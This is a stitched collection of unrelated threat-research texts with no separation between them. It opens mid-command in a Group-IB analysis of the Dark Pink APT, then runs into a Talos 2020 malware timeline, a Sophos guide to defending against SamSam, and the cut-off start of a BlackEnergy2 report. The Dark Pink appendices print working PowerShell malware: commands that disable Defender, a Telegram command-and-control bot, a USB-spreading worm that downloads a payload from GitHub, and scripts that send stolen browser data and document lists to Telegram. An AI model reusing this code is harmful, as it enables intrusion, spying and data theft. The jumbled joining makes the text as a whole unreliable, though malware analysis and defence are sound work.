-DisableRealtimeMonitoring $true -Force -ea 0; Set-MpPreference -DisableRemovableDriveScanning $true -Force -ea 0; Set-MpPreference -DisableRestorePoint $true -Force -ea 0; Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan $true -Force -ea 0; Set-MpPreference -DisableScanningNetworkFiles $true -Force -ea 0; Set-MpPreference -DisableScriptScanning $true -Force -ea 0; Set-MpPreference -EnableControlledFolderAccess Disabled -Force -ea 0; Set-MpPreference -EnableNetworkProtection AuditMode -Force -ea 0; Set-MpPreference -MAPSReporting Disabled -Force -ea 0; Set-MpPreference -SubmitSamplesConsent NeverSend -Force -ea 0; Set-MpPreference -PUAProtection Disabled -Force -ea 0; ``` The PowerShell commands will be executed using the .NET application as a tool for privilege escalation. ## Tools ### Cucky Cucky is a simple custom stealer developed on .NET. A variety of samples were found during the investigation. The most analyzed versions were packed by Confuser. It does not communicate with the network, and collected information is saved in the folder %TEMP%\backuplog. Cucky is able to draw data such as passwords, history, logins, and cookies from targeted web browsers. Although we do not have any information related to the use of stolen data, we suppose that it can be used to gain access to email web clients, conduct additional infrastructure reconnaissance based on web history, compile a list of organization employees, distribute malicious attachments, and assess whether the compromised machine is real or virtual. Cucky has the functionality to steal data from the following browsers: Chrome, MS Edge, CocCoc, Chromium, Brave, Atom, Uran, Sputnik, Slimjet, Epic Privacy, Amigo, Vivaldy, Kometa, Comodo, Nichrome, Maxthon, Comodo Dragon, Avast Browser, Yandex Browser. ### Ctealer Ctealer is an analog of Cucky but developed on C/C++. TelePowerDropper or a special command issued by the threat actors can be used to deploy Ctealer. The working process is pretty similar to Cucky as well, as it also saves collected files to the %TEMP%\backuplog folder. Ctealer can draw information from the following web browsers: Chrome, Chromium, MS Edge, Brave, Epic Privacy, Amigo, Vivaldi, Orbitum, Atom, Kometa, Dragon, Torch, Comodo, Slimjet, 360 Browser, Maxthon, K-Melon, Sputnik, Nichrome, CocCoc, Uran, Chromodo, Yandex Browser. ### TelePowerBot As we have already noted, TelePowerBot will be launched every time a user of an infected machine logs into the system. When this happens, a special script will be launched. The script reads the value of another regkey (e.g., HKCU\SOFTWARE\Classes\abcdfile\shell\abcd), which begins decryption and launch of TelePowerBot. The encryption is based on xor where the key is an array number from 0 to 256. Before decryption, the original payload will be decoded from base64. The deobfuscated command example is shown below: ``` iex( [System.Text.Encoding]::UTF8.GetString( ([System.Convert]::FromBase64String( (gp "HKCU:\\SOFTWARE\\Classes\\abcdfile\\shell" -Name "abcd")."abcd") | % -Begin{$i=0} -Process{ $_ = $_ -bxor $i%256;$i++;$_ } ) ) ) | iex ``` The decrypted stage is not final. It is an intermediate stage and also is based on PowerShell and is highly obfuscated. At this stage, the final script has already been stored in the stager but it is separated into blocks. From this, a base64 string is created, and after decoding, we will be left with a ZIP stream. Finally, after all this, TelePowerBot is launched after unzipping. This kind of tool communicates with a Telegram channel to receive new tasks from the threat actors. The bot can communicate with various infected devices, and the bot checks for new commands every 60 seconds. During execution, the bot works with two register keys: HKCU\Environment\Update and HKCU\Environment\guid. The first one stores the last message id, which is processed from the Telegram bot (The parameter update_id from Telegram). The second key stores the unique identification of infected machines. It is generated by command [guid]::NewGuid() when the bot launches for the first time. Upon registration, the threat actors get various pieces of information about the infected machine such as IP, guid, computer name. The IP address is also ascertained via a get request to https://ifconfig.me/ip. These processes are also based on PowerShell commands, and we will dig a little deeper into those later in the report. The bot implementation is shown in APPENDIX A. Some variants of this module contain additional functionality for ensuring lateral movement. All other functionalities are the same. In cases that Group-IB analyzed, the Telegram parameter can either be hardcoded in the scripts or read from the registry key. ### KamiKakaBot KamiKakaBot is the .NET version of TelePowerBot, and we found very few differences between the pair of them. Before commands are read, KamiKakaBot is able to exfiltrate from the Chrome, MS Edge, and Firefox browsers. It is able to update itself and once it receives commands, it can pass an argument to the cmd.exe process. ### PowerSploit/Get-MicrophoneAudio As we have noted above, the threat actors behind Dark Pink almost exclusively leveraged custom-made tools. However, to record the microphone audio from infected devices, they turned to a publicly available PowerSploit module – Get-MicrophoneAudio. This is loaded onto the victim’s machine via download from Github. Group-IB researchers found that antivirus software on victim machines blocked this process when the threat actors attempted to launch the module. We found that the threat actors attempted to obfuscate the original PowerSploit module to make it undetectable, and these were unsuccessful. As a result, the threat actors returned to the drawing board and added a script that was successfully able to record the microphone audio on infected devices. ``` Start-Job { while(1){ ps psr -erroraction 'silentlycontinue' | kill -force;sleep 30; ni "$($env:tmp)\\record" -ItemType Directory -erroraction 'silentlycontinue'; start psr -ArgumentList "/start /output $($env:tmp)\\record\\$((get-date).tostring('yyyyMMddHHmmss')).zip /sc 1 /gui 0"; sleep 60; start psr -ArgumentList "/stop" } } ``` This simple script launches a background task that triggers a standard utility PSR to capture sound every minute. The recorded audio files will be saved inside a ZIP archive that is located in a temporary folder (%TEMP%\record). The files are named according to the following template: ‘yyyyMMddHHmmss’. These audio files are then exfiltrated with a separate script that sends them (as a ZIP archive) to the threat actors’ Telegram bot. ### ZMsg (Messenger exfiltration) The threat actors are also interested in stealing data from messengers on infected devices. To this end, they are able to execute commands to identify leading messengers, such as Viber, Telegram, and Zalo. In the case of Viber, these commands allow the threat actors to exfiltrate the %APPDATA%\Viberpc folder on infected devices, which allows them to gain access to the messages and contact lists of the victims. We are still doing work to assess what the threat actors are able to draw from Telegram accounts on infected devices, but the case of Zalo is one that piqued our interest. If Zalo messenger is present on the victim’s device, the threat actors can launch a command to download a special utility (dubbed ZMsg by Group-IB) from Github. This utility, which is a .NET application based on the FlaUI library, allows the threat actors to exfiltrate the victim’s messages on the Zalo platform. FlaUI is a library that assists with the automatic UI testing of Windows applications, with the entry point usually an application or the desktop to generate an automation element. Through this, it is possible to analyze sub-elements and interact with them. ZMsg iterates elements on Windows applications to discover those with particular names. For example, the element with messages has the name “messageView”. All collected information is stored in the %TEMP%\KoVosRLvmU\ folder in files with the .dat and .bin extensions. File names are created as an encoded hex string, and are generated in accordance with the below template: %PERSON_NAME%_%DAY%_%MONTH%_%YEAR%. ## Commands The threat actors issue commands to an infected device by specifying IP, computer name, or botid. Tasks can also be issued to all infected devices simultaneously. During our examination, we noticed several different kinds of commands. The functionalities of some of these commands overlap, but they are based on PowerShell commands. For example, TelePowerBot can execute a simple standard console tool, such as whoami, or a complex PowerShell script. During infection, the threat actors execute several standard commands (e.g., net share, Get-SmbShare) to determine what network resources are connected to the infected device. If network disk usage is found, they will begin exploring this disk to find files that may be of interest to them and potentially exfiltrate them. In the prior section, we noted how Dark Pink threat actors carry out lateral movement. In this campaign, the threat actors can also infect files on USB disks attached to the infected devices. The script below details how the threat actors compile a list of network shares and the removable devices connected to the machine. ``` (gwmi cim_logicaldisk|?{($_.drivetype -eq 2)-and(Test-path $($_.deviceid)\)}).deviceid; (get-smbshare|?{($_.name -notlike "*$")-and($_.name -ne Users)-and($_.path -like *:\\*)}).path; (Get-SMBMapping|?{$_.Status -eq "OK"}).remotepath|?{$_ -notlike '*\\IPC$'} ``` The threat actors can also issue a command to take a screenshot of the desktop of the compromised device and save these in the %TEMP% directory. They then download the images by issuing the below command. ``` Add-type -AssemblyName System.Drawing Add-Type -AssemblyName System.Windows.Forms [System.Windows.Forms.Screen]::AllScreens|%{ $bounds =$_.bounds; if($bounds.width -lt 1920){$bounds.width=1920} if($bounds.height -lt 1080){$bounds.height=1080} $image = New-Object Drawing.Bitmap $bounds.width, $bounds.height $graphics = [Drawing.Graphics]::FromImage($image) $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) $screen_file = "$env:tmp\\$($_.DeviceName.replace('\\\\.\\',''))_$((get-date).tostring('yyyyMMddHHmmss')).png" $image.Save($screen_file) $graphics.Dispose() $image.Dispose() $screen_file } ``` ## Conclusion APT groups come and go, but the preliminary findings of Group-IB’s research into Dark Pink APT demonstrates how threat actors can change course, leverage new TTPs, and achieve devastating results. The threat actors behind Dark Pink were able, with the assistance of their custom toolkit, to breach the defenses of governmental and military bodies in a range of countries in the APAC and European regions. Dark Pink’s campaign once again underlines the massive dangers that spear-phishing campaigns pose for organizations, as even highly advanced threat actors use this vector to gain access to networks, and we recommend that organizations continue to educate their personnel on how to detect these sorts of emails. At this stage, Group-IB researchers can confidently say that Dark Pink was behind the successful breaches of at least seven organizations, although we believe that this number could be higher. In line with Group-IB’s zero-tolerance policy to cybercrime, our analysts will continue their diligent efforts to uncover Dark Pink’s origin and work to uncover more of the unique or peculiar TTPs utilized by this group. We will continue to issue proactive notifications to any organization we find to have been breached by this particular threat group. In this blog, we attempted to reveal how Group-IB’s proprietary Threat Intelligence system, which detects attacks automatically, can identify the mechanics behind ongoing threat campaigns. Our clients are the first to be informed about Dark Pink, along with other new APT groups that may appear on the horizon, and they are also the first to obtain the names of compromised organizations, which helps them avoid supply-chain attacks and make their network infrastructure more secure. ## Recommendations - Use modern email protection measures to prevent initial compromise via spear-phishing emails. We recommend Group-IB’s Business Email Protection, which is able to counter these threats effectively. - Organizations should ensure they foster a cybersecurity culture in their workplace, which includes sufficient training to staff on how to identify phishing emails. - Ensure that your security measures allow for proactive threat hunting that can help identify threats that cannot be detected automatically. - Limit access to file-sharing resources, with the exception of those used within the organization. - Monitor the creation of LNK files in unusual locations, such as network drives and USB devices. - Ensure that you observe any use of commands and built-in tools that are frequently used for collecting information about the system and files. - Maintaining a secure organization requires ongoing vigilance, and using a proprietary solution such as Group-IB Threat Intelligence can help organizations shore up their security posture by equipping security teams with the latest insights into new and emerging threats. ## Indicators of compromise ### File indicators: - **Cucky**: - MD5: 926027F0308481610C85F4E3E433573B - SHA1: 24F65E0EE158FC63D98352F9828D014AB239AE16 - SHA256: 9976625B5A3035DC68E878AD5AC3682CCB74EF2007C501C8023291548E11301A - **Ctealer Loader**: - MD5: 728AFA40B20DF6D2540648EF845EB754 - SHA1: D8DF672ECD9018F3F2D23E5C966535C30A54B71D - SHA256: C60F778641942B7B0C00F3214211B137B683E8296ABB1905D2557BFB245BF775 - **Packed ctealer**: - MD5: 7EAF1B65004421AC07C6BB1A997487B2 - SHA1: 18CA159183C98F52DF45D3E9DB0087E17596A866 - SHA256: E3181EE97D3FFD31C22C2C303C6E75D0196912083D0C21536E5833EE7D108736 - **Additional MD5**: - 732091AD428419247BCE87603EA79F00 - SHA1: 142F909C26BD57969EF93D7942587CDF15910E34 - SHA256: E45DF7418CA47A9A4C4803697F4B28C618469C6E5A5678213AB81DF9FCC9FD51 ### File path: - $env:tmp\backuplog - $env:tmp\backuplog1 - $env:appdata\archive.zip - $env:appdata\telegram.txt - $env:tmp\afkslfsa.csv - $env:tmp\AB.zip - $Env:tmp\AB ### Scheduled task name: - Microsoft Idle ### Mutex: - gwgXSznM-Jz92k33A-uRcCCksA-9XAU93r5 ### Registry path: - HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell - HKCU\Environment\OSBuild - HKCU\Environment\STMP - HKCU\Environment\SYSPS - HKCR:\zolfile\shell\open\command - HKCR:\zolofile\shell\open\command\zolo - HKCU:\Environment\guid - HKCU:\Environment\Update - HKCU:\Environment\UserInitMprLogonScript - HKCU:\SOFTWARE\Classes\abcdfile\shell\abcd\ - HKCU:\SOFTWARE\Classes\.4ID\ - HKCU:\SOFTWARE\Classes\.abcd - HKCU:\SOFTWARE\Classes\.psr - HKCU:\SOFTWARE\Classes\zolfile\shell\open\command - HKCU:\SOFTWARE\Classes\4IDfile\shell\open\command - HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command - HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command\DelegateExecute - HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command\DelegateExecute\ - HKCU:\SOFTWARE\Classes\abcdfile\shell - HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command - HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command\abcd - HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command\DelegateExecute - HKCU:\SOFTWARE\Classes\psrfile\shell\open\command - HKCU:\SOFTWARE\Classes\zolfile\shell\open\command\DelegateExecute - HKCU:\SOFTWARE\Classes\zolofile\shell\open\command - HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Forfiles - HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Psr - HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Recents ## APPENDIX A. TelePowerBot ``` [System.Net.ServicePointManager]::SecurityProtocol=@("Tls12","Tls11","Tls","Ssl3") $token="CHANGED" $id=CHANGED $mid=(gp "HKCU:\\Environment" -name Update).Update $guid = (gp "HKCU:\\Environment" -name guid).guid $ip=irm "https://ifconfig.me/ip" if( -not (New-Object System.Threading.Mutex($false, $guid)).WaitOne(1)){ exit } if($mid -and $guid){ irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip reconnected!" } else { $guid = [guid]::NewGuid().guid Set-ItemProperty "HKCU:\\Environment" -name "GUID" -value $guid irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip new connection!" } if($mid -isnot [int]){ $mid = 0 } while(1){ Start-Sleep 60; (irm -Uri "https://api.telegram.org/bot$($token)/getUpdates").result|%{ if ($mid -lt $_.update_id) { $mid=$_.update_id; $name,$task=$_.message.text -split " :: "; if ( ($name -like $ip) -or ($name -like $env:COMPUTERNAME) -or ($name -like $guid) -or ($name -like "all")) { $message = $($task | iex)2>&1 | Out-String; if ("" -eq $message){ $message="Task Done!" } $b=0; while ($b -lt $message.Length) { $c = 4000; if (($c + $b) -gt $message.Length){$c=$message.Length % 4000} irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip answer message : $($_.message.message_id)`n$($message.Substring($b,$c))" $b+=$c } } } Set-ItemProperty "HKCU:\\Environment" -name "Update" -value $mid } } ``` ## APPENDIX B. PowerShell script to lateral movement over removable device ``` [Net.ServicePointManager]::SecurityProtocol=@("Tls12","Tls11","Tls","Ssl3"); $ErrorActionPreference="Continue"; $Query = "select * from __InstanceCreationEvent within 5 where TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DriveType = 2"; $Action = { (gwmi cim_logicaldisk|?{($_.drivetype -eq 2)-and(Test-path "$($_.deviceid)\")}).DeviceID|%{ $uri = "https://raw.githubusercontent.com/efimovah/abcd/main/xxx.gif"; Start-BitsTransfer -Source $uri -Destination "$Env:tmp\xxx.zip"; Expand-Archive -Path "$env:temp\xxx.zip" -DestinationPath "$env:temp" -force cp "$env:temp\xxx" "$_\dism" -Recurse -Force; sc "$_\system.bat" -value "@echo off`ncd %cd%dism`nstart dism.exe`nexit"; attrib +s +h "$_\dism";attrib +s +h "$_\dism\*.*";attrib +s +h "$_\system.bat"; (Gci "$_\" -Directory -force)|?{$_.name -notin ('dism','$RECYCLE.BIN','System Volume Information')}|%{ attrib +s +h "$($_.fullname)" $WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("$($_.fullname).lnk") $Shortcut.TargetPath = "%SystemRoot%\System32\cmd.exe" $Shortcut.Arguments = "/c start explorer $($_.name) && system.bat && exit" $Shortcut.IconLocation = "%SystemRoot%\System32\SHELL32.dll,4" $Shortcut.WorkingDirectory = "%cd%" $Shortcut.Save() } } }; Register-WmiEvent -Query $Query -Action $Action -SourceIdentifier USBFlashDrive ``` ## APPENDIX C. PowerShell script to theft of credentials ``` [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString(""))) | Out-Null;[kuky.Program]::Main(); Start-Sleep 60; cp -path "$env:tmp\\backuplog" -Destination "$env:tmp\\backuplog1" -recurse -force; $file = "$env:tmp\\backuplog1"; $ascii = [System.Text.Encoding]::ascii; Compress-Archive -Path $File -Destination "$file.zip" -Force; $file = "$file.zip" $reg = "HKCU:\\Environment" $token,$chat_id = (gp $reg -name GUID).GUID -split "::" Add-Type -AssemblyName System.Net.Http $form = new-object System.Net.Http.MultipartFormDataContent $form.Add($(New-Object System.Net.Http.StringContent $Chat_ID), 'chat_id') $Content = [System.IO.File]::ReadAllBytes($file) $byte = New-Object System.Net.Http.ByteArrayContent ($Content, 0, $Content.Length) $byte.Headers.Add('Content-Type','text/plain') $name = $ascii.getstring($ascii.getbytes("$($env:COMPUTERNAME)_$($file)")) -replace ':|\\\\|\\?','_' $form.Add($byte, 'document', $name) $ms = new-object System.IO.MemoryStream $form.CopyToAsync($ms).Wait() irm -Method Post -Body $ms.ToArray() -Uri "" -ContentType $form.Headers.ContentType.ToString() rm $file -Force -Recurse ``` ## APPENDIX D. PowerShell script to exfiltrate documents from common network resource ``` $extentions = @('.doc','.docx','.xls','.xlsx','.ppt','.pptx','.pdf'); $file = "$env:tmp\\documents_$((get-date).tostring('yyyyMMddHHmmss')).csv" gdr -PsProvider FileSystem | Select Root | %{gci -Path $_.Root -Recurse -ErrorAction SilentlyContinue} | ?{$_.fullname -notmatch 'C:\\\\Program Files*|C:\\\\Windows*'} | ?{$extentions -contains $_.Extension} | select name, fullname, LastWriteTime, length | Export-Csv -Path $file -encoding unicode;$file; $ascii = [System.Text.Encoding]::ascii; Compress-Archive -Path $File -Destination "$file.zip" -Force; $file = "$file.zip" $chat_id=CHANGED $token="CHANGED" Add-Type -AssemblyName System.Net.Http $form = new-object System.Net.Http.MultipartFormDataContent $form.Add($(New-Object System.Net.Http.StringContent $Chat_ID), 'chat_id') $Content = [System.IO.File]::ReadAllBytes($file) $byte = New-Object System.Net.Http.ByteArrayContent ($Content, 0, $Content.Length) $byte.Headers.Add('Content-Type','text/plain') $name = $ascii.getstring($ascii.getbytes("$($env:COMPUTERNAME)_$($file)")) -replace ':|\\\\|\\?','_' $form.Add($byte, 'document', $name) $ms = new-object System.IO.MemoryStream $form.CopyToAsync($ms).Wait() irm -Method Post -Body $ms.ToArray() -Uri "https://api.telegram.org/bot$token/sendDocument" -ContentType $form.Headers.ContentType.ToString() rm $file -Force -Recurse ```
# 2020: The Year in Malware By Jon Munshaw Nothing was normal in 2020. Our ideas of working from offices, in-person meetings, hands-on learning, and basically everything else were thrown into disarray early in the year. Since then, we defenders have had to adapt. But so have workers around the globe, and those IT and security professionals in charge of keeping those workers’ information secure. Adversaries saw all these changes as an opportunity to capitalize on strained health care systems, schools scrambling to adapt to online learning, and companies who now had employees bringing home sensitive information and data while working on their personal networks. This led to a huge spike in ransomware attacks and headlines all over of companies spending millions of dollars to recover their data and get back to work quickly. Oh, and there was a presidential election this year, too, which came with its own set of challenges. To recap this crazy year, we’ve compiled a list of the major malware, security news, and more that Talos covered this year. Look through the timeline below. ## January Attackers used several popular and well-known file-hosting services to avoid blocklisting and deliver a threat we called “JhoneRAT,” mainly to Arabic-speaking targets. ## February Another RAT, “ObliqueRAT,” used malicious Microsoft Office documents to infect diplomatic and government agencies/organizations in Southeast Asia. Cisco Talos also discovered a link between ObliqueRAT and another campaign from December 2019 distributing CrimsonRAT. ## March As the COVID-19 pandemic hit the United States, workers across the country and globe had to begin working from home full-time. As the pandemic was the biggest news story of the year, hitting its peak in mid-March, attackers started using news around COVID-19 to spread malware. The pandemic also presented a platform for adversaries to spread disinformation around the virus and associated government relief packages. ## April Cisco Talos researchers highlighted some of the problems with using fingerprint scans to protect your devices. We cloned fingerprints using a few different methods and tested their ability to unlock certain devices, showing that you shouldn’t use biometric scanners as the last line of defense for vital data or devices. Python-based PoetRAT used COVID-19-themed lures to target government agencies and everyday users in Azerbaijan, also capitalizing on the country’s ongoing military and civil conflicts. Online meeting software exploded in popularity, which created a fresh target for attackers looking to spread malware or just generally be disrupted. One such example was this vulnerability in the Zoom meeting software Talos discovered, though there are many more exploits out there for all sorts of meeting software. The Aggah malspam campaign expanded its reach, now delivering Agent Tesla, njRAT, and Nanocore RAT. ## May Thai Android devices and users are targeted by a modified version of DenDroid we called "WolfRAT," now targeting messaging apps like WhatsApp, Facebook Messenger, and Line. Brazilian users are targeted with the Astaroth malware family, which used YouTube as a unique command and control (C2) to help evade detection. ## June IndigoDrop utilizes military-themed malicious maldocs to spread Cobalt Strike beacons containing full-fledged RAT capabilities. These maldocs use malicious macros to deliver a multistage and highly modular infection. The PROMETHIUM actor expands its reach and tries to infect new targets in Colombia, India, Canada, and Vietnam by teaming up with StrongPity3. ## July The wave of ransomware attacks hits a peak. Specifically, WastedLocker targeted some big-name companies and organizations looking to make headlines and rake in big paydays. We released our first research paper in a series covering election security and disinformation ahead of the November presidential election. The Prometei botnet adds multiple ways to spread, deploying a Monero-focused cryptocurrency miner. ## September A new campaign we dubbed “Salfram” spreads various malware payloads including Gozi ISFB, ZLoader, SmokeLoader, and AveMaria, among others. With many students returning to school totally online, we spotted a spike in online homework scams, with sites promising to write papers and complete assignments for a fee, though many of them turned out to be phony or even deliver malware. LodaRAT shows it’s adding new features and obfuscation techniques. ## October The Lemon Duck cryptocurrency-mining botnet uses several new techniques likely to be spotted by defenders but would largely go undetected by end users while the adversary stole their computing power. The DoNot APT group experiments with new methods of delivery for their payloads. They used a legitimate service within Google's infrastructure which makes it harder for detection across a user's network. The FBI and U.S. Cybersecurity and Infrastructure Security Agency released an alert warning health care systems to look out for a wave of ransomware attacks, corresponding in a rise in COVID-19 cases. ## November A new version of the CRAT malware pops up in the wild with sandbox evasion techniques and a new modular plugin framework. Emotet completes its 2020 comeback with a huge November and October, increasing its activity across the globe after it largely went quiet over the summer. ## December We uncover the Xanthe cryptocurrency miner after it tried to compromise one of Cisco's security honeypots for tracking Docker-related threats.
# How to Defend Yourself Against SamSam Ransomware On Tuesday 31 July 2018, Sophos released the largest and most comprehensive research paper ever compiled on SamSam, a sophisticated and highly destructive piece of ransomware noted for its ability to put entire organizations under siege. SamSam is different from most other ransomware – it’s used sparingly, in a relatively small number of targeted attacks by a skilled team or individual. They break into and survey a victim’s network before deploying and running the ransomware, just like a sysadmin deploying legitimate software. Those unusual tactics create advantages for both attacker and defender. The good news is that the SamSam attackers aren’t looking for a challenge. They want easy targets, which means that getting a few of the basics right gives you a very good chance of keeping them out. The bad news is that if they do get a foothold in your organization, they can dig in quickly. They don’t deploy the SamSam malware until they’re able to act as a Domain Admin, which gives them high ground from which to attack. SamSam hackers have been seen changing their tactics during attacks and they will spend hours, and perhaps days, getting it right. If one approach doesn’t work, they’ll try another and another, and if security software stops the malware from running, they’ll look for ways to disable it. As a result of Sophos’s research into SamSam, it has been able to further strengthen the protection provided by all of its products, and through membership of the Cyber Threat Alliance, it’s been able to benefit from others’ insights and share the information it’s learned with industry partners, strengthening everyone’s protection. Sophos believes that its products provide the best possible protection against SamSam. Like all good security software, those products are most effective when they’re deployed as part of a defense-in-depth strategy. In this article, we draw on the new research to look at some of the other important layers in that strategy, and how they can help you defend your organization against SamSam. ## Be the Smallest Possible Target The best way to avoid trouble is to not be there when it starts. So far, the SamSam attacker has entered victims’ networks using exploits in internet-facing servers, most notably the JBoss application server, or by brute-forcing RDP (Remote Desktop Protocol) passwords. ### Patch SamSam attacks have probably used the approaches mentioned above because they were the most successful or convenient at the time. There is no reason to suspect they won’t switch to a different approach if a more effective alternative, such as a new exploit, emerges. Because of that, we recommend you don’t focus on patching specific vulnerabilities but follow a strict patching protocol for operating systems and all the applications that run on them. ### Lock Down RDP Unless it’s properly secured, RDP is a tempting target for all kinds of crooks, not just the SamSam attackers. We recommend you take the following steps to protect your organization from attacks via RDP: - Limit RDP access to people that need it. - Don’t allow Domain Admin accounts to use RDP. - Require multi-factor authentication. - Have a sensible policy for securing idle accounts. - Limit the rate of password retries with the Security Policy Editor. - Automatically lock accounts after a number of failed login attempts. - Have staff access RDP through a VPN. - Limit VPN access to specific IP addresses, ranges, or geographies. - Educate users about strong passwords and the dangers of password reuse. - Encourage employees to use secure password managers. - Test your staff’s passwords to see how resilient they are. ## View Your Network Like an Adversary Because there is no guarantee that the SamSam hackers won’t change tactics, it’s important to understand what your network looks like to them. You can do that by undertaking regular vulnerability scans and penetration tests, and by performing periodic assessments, using third-party tools like Censys or Shodan, to identify publicly-accessible ports and services across your public-facing IP address space. ## Follow the Principle of Least Privilege If the SamSam attackers gain access to your network, they will try to become Domain Administrators using a combination of hacking tools and exploits. One approach uses the credential harvesting tool Mimikatz to steal a Domain Administrator’s password from memory when they log in. Privilege escalation can take days, and the longer it takes, the more chance you have of spotting the intruder. To contain and frustrate an attacker, you should follow the principle of least privilege, giving user accounts only the access rights they need and nothing more. For example: - Users who don’t need to install software should not have administrative privileges. - Domain Admin accounts should be used for administration tasks, not for mail or web browsing. - Where possible, favor elevating to domain privileges over the use of Domain Admin accounts. - Don’t give service accounts for important services like SQL databases access to backups. - Restrict access to critical systems to the smallest possible group. - Lock down access to C$ and other shares as much as possible. You may find models or approaches to privileged access, such as Microsoft’s tiers-based approach, useful, as well as tools like BloodHound that can help you identify and eliminate hidden risks. The principle of least privilege applies to software as well as access. The extensive use of administration tools such as PowerShell, PsExec, and PAExec, and of Potentially Unwanted Applications like Mimikatz, during attacks makes the proper configuration of application control technologies vitally important. Scripting languages such as JavaScript and PowerShell, and admin tools like PsExec, should be blocked everywhere they aren’t needed, or blocked everywhere and allowed as and when they’re required. ## Assume an Attack is a Matter of ‘When’, Not ‘If’ When you’re considering your defense against SamSam, it’s important to remember that the execution of the actual SamSam ransomware is the final step in the attack. Up to that point, you are dealing with a skilled intruder who may be able to exercise tremendous power on your network, and who can counter your defensive moves. You cannot wait until after you’re breached to determine what you’ll need or what you should do; by then it’s too late. To prepare accordingly, you must act as if it’s a matter of when you’re breached, not if you’re breached. You will need to have trained and well-drilled staff and software capable of monitoring and reacting to anomalous events on your network, such as unusual account activity, in real time. Careful selection of software with the right approaches to automation, reporting, and interoperability is important. Its reporting capabilities, and its ability to talk to other security software, should ensure your staff have sufficient, relevant information, but aren’t overwhelmed. Automation is important because SamSam malware is designed to act quickly and to encrypt your most important files first. It’s typically launched in the middle of the night or the early hours of the morning in a victim’s local time zone, when most users and admins are asleep. ## What If an Attack is Successful? Should a SamSam attack successfully encrypt computers on your network, you’ll need to be able to get back up and running quickly, and understand what you need to do to prevent it from happening again. Unlike most other ransomware, SamSam doesn’t just target document files and data; it also targets applications and configuration files. So, before you can restore your data, you’ll need to reinstall or reimage your computers’ operating systems and applications, and that can take a long time if you aren’t prepared for it. When looking at your SamSam-resistant backup strategy, it’s useful to consider the same questions you might face in the event of a fire or flood, like: how many computers does your organization need to maintain a bare-bones operation, how long would it take to restore those machines, and how long would it take you to return to normal operations? You don’t want to find yourself in the position of having survived an attack but paying the ransom anyway because you can’t restore your computers fast enough. Similarly, you must remember that if a Domain Administrator on your network can access your backups, then an attacker acting as a Domain Administrator can destroy or encrypt them. Therefore, your backup strategy should: 1. Account for how you will restore the necessary number of entire machines, not just data. 2. Include offline and offsite backups that put an air gap between them and an attacker. Should the worst happen, you’ll also want to have collected enough information for a retrospective analysis that can answer questions like: what was lost, how did the attacker get in, and how can you prevent it from happening again?
# BE2 Custom Plugins, Router Abuse, and Target Profiles ## Authors Kurt Baumgartner Maria Garnaeva ## New Observations on BlackEnergy2 APT Activity The BlackEnergy malware is crimeware turned APT tool and is used in significant geopolitical operations lightly documented over the past year. An even more interesting part of the BlackEnergy story is the relatively unknown custom plugin capabilities to attack ARM and MIPS platforms, scripts for Cisco network devices, destructive plugins, a certificate stealer, and more. Here, we present available data – it is difficult to collect on this APT. We will also present more details on targets previously unavailable and present related victim profile data. These attackers are careful to hide and defend their long-term presence within compromised environments. The malware’s previously undescribed breadth means attackers present new technical challenges in unusual environments, including SCADA networks. Challenges, like mitigating the attackers’ lateral movement across compromised network routers, may take an organization’s defenders far beyond their standard routine and out of their comfort zone. ## Brief History BlackEnergy2 and BlackEnergy3 are known tools. Initially, cybercriminals used BlackEnergy custom plugins for launching DDoS attacks. There are no indications of how many groups possess this tool. BlackEnergy2 was eventually seen downloading more crimeware plugins – a custom spam plugin and a banking information stealer custom plugin. Over time, BlackEnergy2 was assumed into the toolset of the BE2/Sandworm actor. While another crimeware group continues to use BlackEnergy to launch DDoS attacks, the BE2 APT appears to have used this tool exclusively throughout 2014 at victim sites and included custom plugins and scripts of their own. To be clear, our name for this actor has been the BE2 APT, while it has been called “Sandworm Team” also. ## The Plugins and Config Files Before evidence of BlackEnergy2 use in targeted attacks was uncovered, we tracked strange activity on one of the BlackEnergy CnC servers in 2013. This strangeness was related to values listed in newer BlackEnergy configuration files. As described in Dmitry’s 2010 Black DDoS analysis, a configuration file is downloaded from the server by main.dll on an infected system. The config file provides download instructions for the loader. It also instructs the loader to pass certain commands to the plugins. In this particular case in 2013, the config file included an unknown plugin set, aside from the usual ‘ddos’ plugin listing. Displayed below are these new, xml formatted plugin names “weap_hwi”, “ps”, and “vsnet” in a BlackEnergy configuration file download from a c2 server. This new module push must have been among the first for this group, because all of the module versions were listed as “version 1”, including the ddos plugin. The ‘ps’ plugin turned out to be a password stealer. The ‘vsnet’ plugin was intended to spread and launch a payload (BlackEnergy2 dropper itself at the moment) in the local network by using PsExec, as well as gaining primary information on the user’s computer and network. Most surprising was the ‘weap_hwi’ plugin. It was a ddos tool compiled to run on ARM systems. At first, we didn’t know whether the ARM plugin was listed intentionally or by mistake, so we proceeded to collect the CnC’s config files. After pulling multiple config files, we confirmed that this ARM object inclusion was not a one-off mistake. The server definitely delivered config files not only for Windows, but also for the ARM/MIPS platform. Though unusual, the ARM module was delivered by the same server and it processed the same config file. ### Linux Plugins Over time we were able to collect several plugins as well as the main module for ARM and MIPS architectures. All of these ARM/MIPS object files were compiled from the same source and later pushed out in one config: “weap_msl”, “weap_mps”, “nm_hwi”, “nm_mps”, “weap_hwi”, and 